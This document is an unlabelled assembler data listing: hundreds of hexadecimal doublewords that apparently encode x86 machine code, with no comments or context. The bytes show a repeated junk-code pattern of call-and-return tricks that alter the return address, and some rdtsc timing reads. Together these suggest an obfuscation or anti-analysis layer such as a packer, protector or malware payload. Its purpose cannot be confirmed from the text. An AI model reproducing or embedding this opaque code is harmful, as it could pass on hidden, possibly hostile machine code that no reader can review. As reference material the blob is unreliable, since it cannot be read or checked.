		dd 3BDE3AEAh, 3E860FD9h, 0E9000001h, 8,	4B9213EFh, 0BDD5BB69h
		dd 81D98C66h, 8CCC00DEh, 4C1F675h, 0EA840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 974D01C3h, 8915F54Fh, 0A621A19Dh, 2D9D8906h,	0FF06A60Ch
		dd 0A6071D95h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 51C2C2ADh, 0BD8BB90Bh
		dd 6A63121h, 57006A5Bh,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 71CB0BFBh, 0CE8A6h, 0FA990000h, 0E907DF31h
		dd 0CF0F3969h, 13E92F0Bh, 0FD000000h, 5C755762h, 0FA57718Ah
		dd 62CA9E4Fh, 150069AEh, 8B5E85FAh, 0A62F71B5h,	66C32B06h
		dd 0E781F28Bh, 76289435h, 8343Dh, 29860F00h, 8B000000h
		dd 57E9F7h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0BD01E8C3h, 6A61389h, 6AC08Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 94C556C3h, 860D9980h, 0E6BEBAC1h, 0F22DCADh,	484h, 18BF6600h
		dd 8BC38BB8h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0B4EBE563h, 31C1B58Bh, 85C706A6h
		dd 6A62171h, 56D70393h,	5840Fh,	69BF0000h, 8B06E87Fh, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0A5D1D2E0h, 0F8A8E19h, 681h,	398D8900h, 8106A60Dh, 0A6072DBDh
		dd 7D006h, 2E850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 3A17C350h, 5ADB58Bh
		dd 85FF06A6h, 6A6072Dh,	8B665E50h, 2DB5FFF0h, 6A06A607h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0A9E2C355h, 0FFFB8B45h, 0A6295995h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 2A9AC574h, 890FC4h, 50000000h, 0A99D8950h, 5E06A607h
		dd 6A40905Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0E118C357h, 8381C409h,	0A60149BDh
		dd 840F0006h, 0E2h, 32A59589h, 0BD8306A6h, 6A62C85h, 0CF840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 520C351h, 0FD44FF24h, 95FF5900h
		dd 6A60149h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	5CC35545h, 0BF38B38h, 7F840FC0h, 89000000h, 0A601DD95h
		dd 558D8D06h, 6A06A64Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 7BDDC357h, 0E8D5FC90h
		dd 7, 0F62FD681h, 0E9FEB068h, 0Fh, 421FCCE4h, 0A4676AFEh
		dd 0C7B50980h, 5EB13792h, 5B8h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 8F679BDFh
		dd 7A86D45Ah, 1959589h,	0E1FF06A6h, 0BD83FB8Bh,	6A62C4Dh
		dd 56840F00h, 89000006h, 0A6323DB5h, 85BD8306h,	6A62Ch
		dd 643840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 8CB0A6C3h, 11F1B58Bh, 8D8D06A6h
		dd 6A60831h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0B0C35646h, 0C92F4FF1h,	1870F9Ch, 0F5000000h
		dd 0DE8h, 0C219E100h, 57295776h, 45E4F962h, 0B5897358h
		dd 6A61DCDh, 8401C75Eh,	6A44B27Ch, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 8196C356h
		dd 7F0C6782h, 64D8D89h,	18106A6h, 1499CFCBh, 340441C7h
		dd 89CE706Bh, 0A613119Dh, 4418106h, 31D6D710h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 9EC35141h, 0F021AAC0h
		dd 90E3458h, 57006A1Bh,	7D958957h, 5E06A616h, 31858D5Eh
		dd 0F06A608h, 68Bh, 4D9D8900h, 5006A615h, 0D88B6660h, 0BE665250h
		dd 310F65ECh, 310F5250h, 585A585Ah, 24048961h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 51C35141h, 749A87ACh
		dd 148E0FFBh, 0E9000000h, 0Fh, 8A5521C9h, 27445970h, 0C7CC2C89h
		dd 0FF9BF943h, 0A62C4D95h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0CF00E35Eh
		dd 8D8D2AF2h, 6A60831h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0B5C35040h, 810FF972h, 18h, 13E9h, 25099000h
		dd 0B655251Fh, 0BEB907AFh, 3AEDF738h, 662D25E7h, 1C7h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0BC62C0C3h, 1478D424h, 0D858509h,	41C706A6h
		dd 4, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0DB45B90Ch, 0B70FE61Dh, 0FC00BF9h
		dd 8884h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 5CC4A26h,	558D8D28h, 8B06A64Fh, 0A62AF9B5h
		dd 5B806h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 28D55CC3h, 0E1FF83CEh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0DFC35242h, 0D6CB0AF7h
		dd 894EC281h, 0A61BD185h, 49B52B06h, 306A612h, 0A60551B5h
		dd 318D8D06h, 0C706A608h, 0AA727C01h, 0CB018144h, 891499CFh
		dd 0A60A19BDh, 441C706h, 0CE78753Ch, 6880Fh, 0B5010000h
		dd 6A60E3Dh, 10044181h,	6A31D6D7h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0E035C352h
		dd 0C7D0FB17h, 1DB58B87h, 6A06A62Ah, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 93F681FEh
		dd 8D12F664h, 0A6083185h, 0BE906h, 0BB270000h, 0C5CBEFBBh
		dd 5CDEF0F7h, 44BE6625h, 66565053h, 5E4F3CBEh, 6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 799CC352h, 195D9D89h, 8D0106A6h, 6A6334Dh
		dd 7EC78166h, 4D95FFC5h, 8D06A62Ch, 0A608318Dh,	9953106h
		dd 0C706A60Dh, 1, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 92CE8142h, 6653EAABh
		dd 5CD7F681h, 441C7h, 1000000h,	0A61405B5h, 0FC00B06h
		dd 8884h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 4029A2Dh,	9E8CCBFh, 0FE81B6Dh, 0F0000000h
		dd 0DE3FE4CBh, 57F0E611h, 612CDF3h, 8B609F6Ah, 0A61A2DBDh
		dd 61616006h, 558D8D5Eh, 6A06A64Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 381EC352h
		dd 0A800Fh, 5E90000h, 57000000h, 0FA16E893h, 5B8h, 95BD2B00h
		dd 0FF06A61Ch, 0A4BE66E1h, 318D8D87h, 6606A608h, 0C74CC0BFh
		dd 0CA95A501h, 798D2954h, 8106A625h, 99CFCB01h,	8E814h
		dd 30B0000h, 3165C884h,	0AE9FDD0h, 0FC000000h, 371DF288h
		dd 0AA2C3F02h, 41C75E55h, 5F596904h, 658589CEh,	8106A616h
		dd 0D7100441h, 6A31D6h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 7D573AC3h, 1CDCDDEFh, 5E91Bh, 8BBD0000h
		dd 6A53568Ah, 31858D00h, 6606A608h, 90FA4ABFh, 50F08B66h
		dd 13E9h, 27E7DC00h, 1F7FFC32h,	0D5EFE5DFh, 5D474479h
		dd 6F792E93h, 15BD8B90h, 0FF06A62Ah, 0A62C4D95h, 0DE816606h
		dd 8B0FCB1Eh, 1Bh, 0FE8h, 79DBE100h, 0ADE21A12h, 3BC0955Fh
		dd 2D146ACDh, 870Fh, 8D5E0000h,	0A608318Dh, 219D8906h
		dd 0C706A62Ch, 1, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 4E8B917Bh, 0C71FBFCDh
		dd 441h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 160424h, 53430000h, 57F42C3h, 0C2B46057h, 5E616160h
		dd 0CE9h, 0F6465100h, 3C150AC1h, 70992D56h, 0FC00BBEh
		dd 0AC84h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0E4C8F09h, 880FF1h, 0F000000h, 682h
		dd 44F68100h, 8D7BB346h, 0A64F558Dh, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 499501DAh
		dd 0B806A62Ch, 5, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	5DC35040h, 984A8AC7h, 58691649h, 6AE1FF07h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 6021C353h, 0B5B5D881h, 0DC8A45E2h, 0E9CA0361h, 0FFFFF121h
		dd 5FFA8B57h, 1EBFC18Bh, 0EB2E8956h, 4,	56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0D67E746Fh, 3E9696FEh, 95095128h, 6A62BCDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B4C35040h, 0CBD04FCCh
		dd 28D6D084h, 0CE9B9h, 2D0000h,	2021FA29h, 0C4DD6789h
		dd 95899615h, 6A60415h,	2CAD858Dh, 6A06A6h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 3526C3C3h
		dd 810F90FCh, 0Ch, 6850Fh, 52500000h, 585A310Fh, 0DF8B6050h
		dd 0DE2ABA66h, 6A9061h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 5212E1C3h, 0FF946A4Dh, 719D8974h
		dd 6A06A62Ah, 0F3B70F00h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 15CB9FC3h, 0B09BD8Bh
		dd 858D06A6h, 6A9E824h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 86C35545h, 0EBE2A092h, 0BD897D1Bh, 6A61285h
		dd 0B0EC8060h, 2989BD89h, 836106A6h, 6A05C0h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FF730C3h
		dd 178Bh, 0FE800h, 6DCE0000h, 13EF131Ah, 0BB694B92h, 700EBDD5h
		dd 5F61609Dh, 0BF665690h, 505ED208h, 8E9h, 9D59CB00h, 0C5F186BDh
		dd 8A0F90B5h, 0Ch, 68A0Fh, 0B58B0000h, 6A62A05h, 3890Fh
		dd 8B660000h, 6A006AF1h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0DD62C351h,	870F8C51h
		dd 3, 6AFFBF0Fh, 91958900h, 0FF06A61Ch,	0A6124595h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0FF9D8D96h, 6A06A994h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0BB0CC350h,	0DB6DC96Eh
		dd 43C82265h, 0EE9h, 7A642200h,	76AD636Fh, 5C4D0448h, 0FF665922h
		dd 0F98D89D3h, 6606A613h, 4BF5EE81h, 126D85FFh,	6A06A6h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0C49BAEC3h, 0F2E313Bh, 0F38B5E6Ah, 8B8E9h, 0E800h, 815D0000h
		dd 0A9E82EEDh, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 59C5CDACh, 1C01BD8Bh
		dd 0B53306A6h, 6A60691h, 72DBD81h, 7D006A6h, 860F0000h
		dd 155h, 11159D8Bh, 6A06A6h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 160424h, 56460000h, 76413DC3h, 1BB18589h
		dd 0E38106A6h, 100h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 14C35040h, 850FDB0Bh,	0B4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 2CC35747h, 0C445A8C0h
		dd 89BD8B3Dh, 8306A606h, 0A9E5B1BDh, 840F0006h,	37h, 7E8h
		dd 82A07200h, 0B8765D90h, 5FFFB70Fh, 7CE9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0D595014Ah, 0C706A601h, 0A9E5B185h, 106h, 0B800F00h
		dd 0F000000h, 58Ah, 0F6816600h,	3AE9AD1Ch, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 810CC351h, 29782F58h, 0B5891842h, 6A6338Dh, 0E5B185C7h
		dd 6A9h, 0BF0F0000h, 0A3BE66F6h, 159D8D60h, 6A06A611h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0FC42C351h, 5A2E42EFh, 38E0Fh, 0BF0F0000h
		dd 0FF2381F8h, 33FFFFFEh, 0A60729B5h, 0DB8C6606h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 78C35545h, 0E9607594h
		dd 0Fh,	9E84391Ch, 0E8BB2611h, 517A4EEEh, 0B6A68553h, 0C3F661B3h
		dd 32840F04h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0D713C355h,	7CF0C5EAh
		dd 1D95FF4Ah, 5006A607h, 31240489h, 0A61B49BDh,	4B4E906h
		dd 0B0F90000h, 70E6F800h, 0E3DEBE66h, 0ABDBD0Bh, 71E406A6h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EEC35646h
		dd 64540A26h, 92D0C044h, 539B589h, 0B60F06A6h, 0F9BBFD8h
		dd 6BA7C7Eh, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 8B0BC355h, 6AC38BF9h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0FA6C356h, 48Fh, 0F5BE6600h, 4E8C1A6h, 759B58Bh
		dd 0F76606A6h, 56006AE2h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 3D79FC14h, 6C07EC38h
		dd 870FD82Bh, 1Dh, 11E8h, 5CAC7800h, 0FBD09F93h, 68A0988Bh
		dd 4ED00CCAh, 8D0FFB04h, 0
		dd 5250505Eh, 0FA8B5250h, 5F52310Fh, 310F585Ah,	6E8h, 0C90B00h
		dd 8B41F8B5h, 585A5FF0h, 6A241C89h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 1516C350h
		dd 0BE885B0h, 67000000h, 0CF96D910h, 2BF9AA8h, 0FF5F0677h
		dd 0A6072DB5h, 0DF816606h, 95FF954Fh, 6A62959h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 7C35242h, 0B0F8B70Fh
		dd 8DBD8B00h, 0E606A610h, 85295270h, 6A6191Dh, 6A71E45Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0AD37C356h, 245F6E2h, 0F8C502B5h,	13C99589h
		dd 613C06A6h, 308830Fh,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0C409E1C3h, 3BFBA081h
		dd 14E921FEh, 56000000h, 5CE155AEh, 738EE0B6h, 49E927E4h
		dd 4F5F07B5h, 0E9D7782Dh, 0Ah, 0CAAF6311h, 37E17E59h, 0B60F8A36h
		dd 8E9D8h, 24170000h, 0B93D0081h, 6BA48B4h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0BD1BC355h, 597F66A4h, 0EC11C499h, 1C0DB58Bh
		dd 0C38B06A6h, 9728BE66h, 6A04E8C1h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 5CFCC353h
		dd 2B37BC43h, 49D5BFE3h, 418D8B60h, 6006A61Fh, 435BD89h
		dd 616006A6h, 0F7666161h, 50006AE2h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 2B4CAC48h
		dd 0D68166D8h, 0E858B536h, 5, 0F1073708h, 45CE8194h, 5E2F13B0h
		dd 880FD82Bh, 1FAh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0C9C35343h, 0E4D3BBBFh, 8D898287h, 6A60849h
		dd 7B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 22B2AFFBh, 8B6FB05Fh, 0A6163DBDh
		dd 0C18306h, 7E9h, 0D7436500h, 13ECE49Ah, 860FD93Bh, 18Eh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0BC35242h
		dd 0CA18A786h, 0B50B515Ch, 6A62CC5h, 6AD98C66h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 520C356h, 0F04C1F6h,	10F84h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0D9BD8B1Ch
		dd 0FF06A625h, 0A6071D95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0E974CB60h
		dd 14h,	7EA1CE56h, 70669F79h, 2D90B2A5h, 9E946B63h, 0A1999C21h
		dd 50006A5Bh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 8595C52h, 4884EE81h, 0C32B7984h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 35C35040h, 1195892Bh
		dd 3106A611h, 0A62DC5B5h, 0C3C78106h, 3D6570FEh, 834h
		dd 4E860Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 1EF29BC3h, 45EA57E1h, 54E9F9h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8984E8C3h, 0A6347DB5h, 5FF95306h, 6AC08Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0B76D2DC3h
		dd 679452A3h, 0AC9BD03h, 0BF6606A6h, 0C38BFDB7h, 85C7D88Bh
		dd 6A61015h, 7EEF5D5Fh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 60C35747h, 8B755BCCh,	57006AC0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0E1491DA4h, 0B1B0A188h, 2DBD81E6h, 0D006A607h, 0F000007h
		dd 3085h, 5E900h, 9BA90000h, 0FFDF4D59h, 0A6072D85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 702604CBh, 2DB5FFE5h, 6A06A607h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C6D5C352h
		dd 0FF606FE1h, 0A6295995h, 0DDBD8B06h, 9006A60Ah, 0DC9BD29h
		dd 0E9F506A6h, 0Ch, 0F3A68B49h,	8DB98452h, 4E6EE657h, 30498509h
		dd 6A06A6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 56CF24C3h, 57006ACEh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0D8AFC115h, 83E2888Ch
		dd 12E9F5h, 31400000h, 0BB8CB9A5h, 2D2EFFEEh, 0CE633A61h
		dd 31371244h, 9E9h, 5DF72800h, 0FF290F43h, 6AD5F3h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 9F51BC3h, 0A22EDA90h, 0FEB70FD2h, 0C8816660h, 8E0F83A7h
		dd 6, 11E99589h, 0E38A06A6h, 68E0F61h, 81000000h, 4F7872C6h
		dd 89852917h, 0F806A607h, 89FA8B66h, 0A60F2195h, 9D296006h
		dd 6A62BA9h, 9503C78Bh,	6A63405h, 61D1B70Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DC35343h, 6E97DF9h
		dd 32000000h, 525FB4A6h, 0FE42BF58h, 4EE95EEFh,	8BFFFFF7h
		dd 0A62931B5h, 6AC18B06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 588DC351h, 66A450ABh
		dd 0EA92D681h, 4EBh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 2F36C2C3h, 9E9D6h, 56BB0000h
		dd 578211E2h, 8B420895h, 0A615E9BDh, 0AD858D06h, 8B06A62Ch
		dd 0A6113DB5h, 56605006h, 310F5250h, 615A585Ah,	6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0E5DCC352h, 49FB9E8Eh, 668276C7h,	0B150EE81h
		dd 7BBE006Ah, 6A15A9AAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 958933E0h, 6A60805h, 1E759D89h
		dd 858D06A6h, 6A9F2A5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 7BC35040h, 896F809Ah,	0A62F799Dh, 5C08306h
		dd 0BE850h, 5FE10000h, 0F02A8E79h, 0B31B91EBh, 12E9D8h
		dd 888A0000h, 0DCBC3A00h, 0C28BF5CDh, 0E601B400h, 91559EE0h
		dd 2404895Eh, 5830Fh, 9BF0000h,	6A21E653h, 99B58900h, 6A06A61Eh
		dd 224EBF00h, 95FF6E44h, 6A61245h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 6EC35343h, 5BAC05D8h, 94FF9D8Dh
		dd 870F06A9h, 13h, 0EE9h, 0A15D000h, 1CA90BE1h,	0F4D7CD56h
		dd 0FFB5B131h, 6E8D3h, 41160000h, 8FCE5C99h, 85FF5FF5h
		dd 6A6126Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	1EC35343h, 0BF0F66BFh, 86DE9FEh, 0E80000h, 5D000000h
		dd 0F2AFED81h, 0B58906A9h, 6A60FCDh, 1B5BD8Bh, 0BD8106A6h
		dd 6A6072Dh, 7D0h, 186860Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 37F9A7C3h
		dd 0FAB70F3Eh, 1A718D89h, 9D8B06A6h, 6A614C1h, 13E9h, 0C6CC9D00h
		dd 856F6C4Ah, 0A8C5525Ah, 4F764AD0h, 925D145Ah,	100E381h
		dd 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0E7046AC3h, 504FC49Fh, 1B118589h, 0B5F06A6h,	0A8850FDBh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 3D37C356h, 0A954C516h,	0F508E257h
		dd 0F10ABD83h, 0F0006A9h, 3F84h, 0E9F78B00h, 7Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 2C35242h, 0ED6094E5h
		dd 42AC56BDh, 0DE9BDh, 671C0000h, 22D89B6h, 0F3C8B28Dh
		dd 0F8D1B24Ch, 0F10A85C7h, 106A9h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0F1DBAC3h
		dd 158501E3h, 0E906A619h, 13h, 0C7FE8B66h, 0A9F10A85h
		dd 6, 2D858900h, 8D06A62Ah, 0A614C19Dh,	0FF238106h, 6AFFFFFEh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 7AA1C356h, 295CBCBAh, 0A607BD8Dh,	13E806h
		dd 440C0000h, 0F5F839A8h, 5EE56CC8h, 2EC5D069h,	0C1647F5Bh
		dd 499D89E8h, 5F06A61Ah, 6ADB8C66h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0BC2BC355h
		dd 0C3F6FCDFh, 25840F04h, 8B000000h, 0A610A1B5h, 1D95FF06h
		dd 2906A607h, 0A62AFD85h, 50515006h, 17BE6652h,	5A310FF2h
		dd 4895F58h, 0F88B6624h, 44EE9h, 0D1B58900h, 0B006A606h
		dd 2DB58B00h, 0E606A62Ch, 718D8970h, 0E406A619h, 56006A71h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0F67D2A6h, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0B04E04C3h, 32C82E4h, 0A63055BDh
		dd 4AD78106h, 6012381Ch, 0CCB8E381h, 0B8527023h, 4622A23Dh
		dd 6BA615Eh, 81000000h,	832DCCDEh, 0C1C38B5Ah, 6A04E8h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0ED44EFC3h, 0F766C619h, 59529E2h, 2B06A61Eh,	0AE8D8h
		dd 0F3630000h, 514B3A79h, 0F9CDB8D2h, 0FE8B505Fh, 6A241C89h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0E2CEC351h, 0FBBFA659h, 0FF5E93B9h, 0A6072DB5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0FF763887h, 0A6295995h, 740CBF06h, 0B03263h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 1DC35343h
		dd 1EF9B533h, 70E606A6h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0B8C35343h, 71E48229h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 98C35646h, 0F613CA4h
		dd 2CA83h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 9F10DD5Bh, 0E84665B7h, 12h, 9CB630F2h
		dd 84B5B424h, 10B0DA0Ah, 0DA75EDE8h, 8D89AA11h,	6A60415h
		dd 0D8B60F5Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0C2C35545h, 78DB1A25h, 6BA46C5h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 9F5AC355h, 890D3511h, 0A605CD95h, 5BD2906h, 8B06A614h
		dd 19B589C3h, 0C106A600h, 0BD8B04E8h, 6A60AA1h,	6AE2F766h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 970BC352h, 367A758Dh, 0D82BC117h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C0C35141h, 0B58B92D0h
		dd 6A63035h, 58FBBF0Fh,	6571D681h, 0D82B1044h, 1C5880Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 1A1648C3h, 2A8DBD23h, 7B906A6h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0E9ACC356h, 0Ah, 0CDD5CBDFh, 99A55154h, 0E8606378h
		dd 0Eh,	74081777h, 0B3323C11h, 63238C41h, 8B66DC41h, 666059DAh
		dd 60B599BAh, 83616161h, 296000C1h, 0A63415B5h,	0B9B58906h
		dd 6106A601h, 860FD93Bh, 137h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0DBC35040h,	4D085671h, 29D88298h
		dd 8B666062h, 68A0FC3h,	81000000h, 0EA93E0E0h, 8C66611Fh
		dd 55006AD9h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0BCB760FEh, 4C1F6ABh, 0C1840Fh, 0B58B0000h
